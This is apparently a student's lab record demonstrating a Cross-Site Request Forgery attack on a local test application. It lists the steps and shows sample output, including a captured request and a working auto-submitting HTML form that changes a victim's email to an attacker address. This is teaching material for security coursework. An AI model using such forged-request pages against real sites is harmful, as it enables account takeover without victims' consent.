Name: Grisha P
Roll No: 241901030

Experiment No. 11

Perform Cross-Site Request Forgery (CSRF) Attack

AIM

To demonstrate a Cross-Site Request Forgery (CSRF) attack on a vulnerable web application by forcing an authenticated victim's browser to unknowingly submit a malicious request on their behalf.

PROCEDURE

1. Identify a state-changing function in the target web application (e.g., 'change email' or 'transfer funds') that does not use anti-CSRF tokens.
2. Log in as a victim user and use Burp Suite/OWASP ZAP to capture the legitimate HTTP request for the vulnerable function.
3. Analyze the captured request to confirm the absence of a CSRF token or any other request-origin validation.
4. Craft a malicious HTML page containing an auto-submitting form that replicates the captured request (same action URL and parameters) pointing to the target application.
5. Host the malicious HTML page on the attacker machine (e.g., using a simple local web server) and send its link to the logged-in victim.
6. Have the victim (still authenticated in the target application in another tab) open the malicious page in their browser.
7. Observe that the victim's browser automatically submits the forged request using the victim's valid session, and verify the unauthorized change took effect in the target application.

SAMPLE OUTPUT

```
Vulnerable request captured (no CSRF token present):
POST /change_email.php HTTP/1.1
Host: testapp.local
Cookie: PHPSESSID=8f14e45fceea167a5a36dedd4bea2543

new_email=victim_old@test.com

Crafted CSRF PoC page (csrf_poc.html):
<form action="http://testapp.local/change_email.php" method="POST" id="f">
  <input type="hidden" name="new_email" value="attacker@evil.test">
</form><script>document.getElementById('f').submit();</script>

Result after victim opened csrf_poc.html:
Database record - users.email changed from victim_old@test.com
to attacker@evil.test without the victim's knowledge.
```

RESULT

A CSRF attack was successfully demonstrated on the vulnerable 'change email' function of the target application, confirming that the absence of anti-CSRF tokens allows an attacker to perform

unauthorized state-changing actions on behalf of an authenticated victim.